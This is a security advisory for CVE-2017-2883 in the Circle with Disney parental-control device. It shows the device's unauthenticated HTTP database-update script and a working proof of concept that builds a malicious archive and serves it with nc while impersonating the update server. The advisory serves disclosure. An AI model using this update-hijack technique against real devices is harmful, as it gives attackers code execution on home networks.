CVE-2017-2883
An exploitable vulnerability exists in the database update functionality of Circle with Disney running firmware 2.0.1. Specially crafted network packets can cause the device to execute arbitrary code. An attacker needs to impersonate a remote server in order to trigger this vulnerability.
Circle with Disney 2.0.1
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-300: Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)
Circle with Disney is a network device used to monitor internet use of children on a given network.
A cronjob exists which executes the script “firmware_updater.sh” every hour:
#!/bin/sh
...
my_updater_ver=`cat /mnt/shares/UPDATER_VERSION`;
my_database_ver=`cat /mnt/shares/DATABASE_VERSION`;
my_firmware_ver=`cat /mnt/shares/VERSION`;
...
/tmp/wget -q -O /tmp/versions "http://download.meetcircle.co/dev/firmware/check_version.php?
DEVID=$MAC&FVER=$my_firmware_ver&UVER=$my_updater_ver&DBVER=$my_database_verÐ=$eth_connected&IP=$IP$EXTRA"
grep updater_ver /tmp/versions || exit 1
updater_ver=`awk '/updater_ver/{print $2}' /tmp/versions`;
database_ver=`awk '/database_ver/{print $2}' /tmp/versions`;
firmware_ver=`awk '/firmware_ver/{print $2}' /tmp/versions`;
...
if [ $force = 0 ] ; then
#check time window
current_hour=`date +%k`
if [ $current_hour -gt 4 -o $current_hour -lt 1 ]; then
echo "Outside of firmware/database update window (1 - 5 am) ... canceling update check"
exit 1
fi
#check last API command
if [ -s /mnt/shares/usr/bin/last_api ]; then
time_last_api=`date -r /mnt/shares/usr/bin/last_api +%s`
time_now=`date +%s`
time_elapsed=`expr $time_now - $time_last_api`
if [ $time_elapsed -lt 3600 ]; then
echo "API command within last hour ... canceling firmware update check"
exit 1
fi
fi
fi
...
#update database
if [ "$database_ver" != "0.0" -a "$my_database_ver" != "$database_ver" ] ; then
mkdir -p /mnt0
mkdir -p /mnt/tmp
cd /mnt/tmp;
mount -t ext4 -o rw,noatime,nodiratime /dev/sda2 /mnt0
/tmp/wget -q -O /mnt0/database_1.tar.gz "http://download.meetcircle.co/dev/firmware/get_database.php?
DEVID=$MAC$EXTRA&MYVER=$my_database_ver"
if [ -s /mnt0/database_1.tar.gz ] ; then
mount -o remount,rw,noatime,nodiratime /dev/sda3 /mnt #remount to remove sync
tar xzf /mnt0/database_1.tar.gz
if [ -s /mnt/tmp/update_database.sh -a -s /mnt/tmp/shares/DATABASE_VERSION -a -s /mnt/tmp/dbmd5 ] ; then
if md5sum -s -c /mnt/tmp/dbmd5 ; then
cd /mnt;
cp -lfr /mnt/tmp/* /mnt/
rm -rf /mnt/tmp
mv -f /mnt0/database_1.tar.gz /mnt0/database.tar.gz
umount /mnt0
sh /mnt/update_database.sh
exit 0
fi
fi
fi
cd /mnt;
rm -f /mnt0/database_1.tar.gz
rm -rf /mnt/tmp
umount /mnt0
echo "error downloading and installing database"
exit 1
else
echo "not updating database: database_ver=$database_ver my_database_ver=$my_database_ver";
fi
The script above installs updates for the device if new versions are available.
Latest versions are retrieved using an HTTP request. If the update script is called within 1am and 4am and no API commands were issued in the last hour, the database will be updated when a new version is available.
The new version for the database is retrieved using an HTTP request: an archive is downloaded from “download.meetcircle.co”, it is extracted in “/mnt/tmp” and, if a few conditions are met, the script “update_database.sh” present in the archive is executed.
Since both HTTP requests are unauthenticated, an attacker able to impersonate the remote server could return a malicious archive containing a custom “update_database.sh” script.
The following proof of concept shows how to execute the “power_down.sh” script on the device. An attacker needs to impersonate the server “download.meetcircle.co” in order to answer the HTTP requests.
$ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" > update_database.sh
$ chmod 777 update_database.sh
$ md5sum update_database.sh > dbmd5
$ mkdir shares
$ echo 2.3 > shares/DATABASE_VERSION
$ tar czf evil.tgz update_database.sh dbmd5 shares
$ req1="$( echo -en "HTTP/1.0 200 OK\n\nupdater_ver 0.0\nfirmware_ver 0.0\ndatabase_ver 2.4\n" )"
$ req2="$( echo -en "HTTP/1.0 200 OK\n\n"; cat evil.tgz )"
$ for r in $req1 $req2; do echo $r | sudo nc -vv -l -p 80; done
2017-08-02 - Vendor Disclosure
2017-10-31 - Public Release
Discovered by Claudio Bozzato and Lilith Wyatt <(^_^)> of Cisco Talos.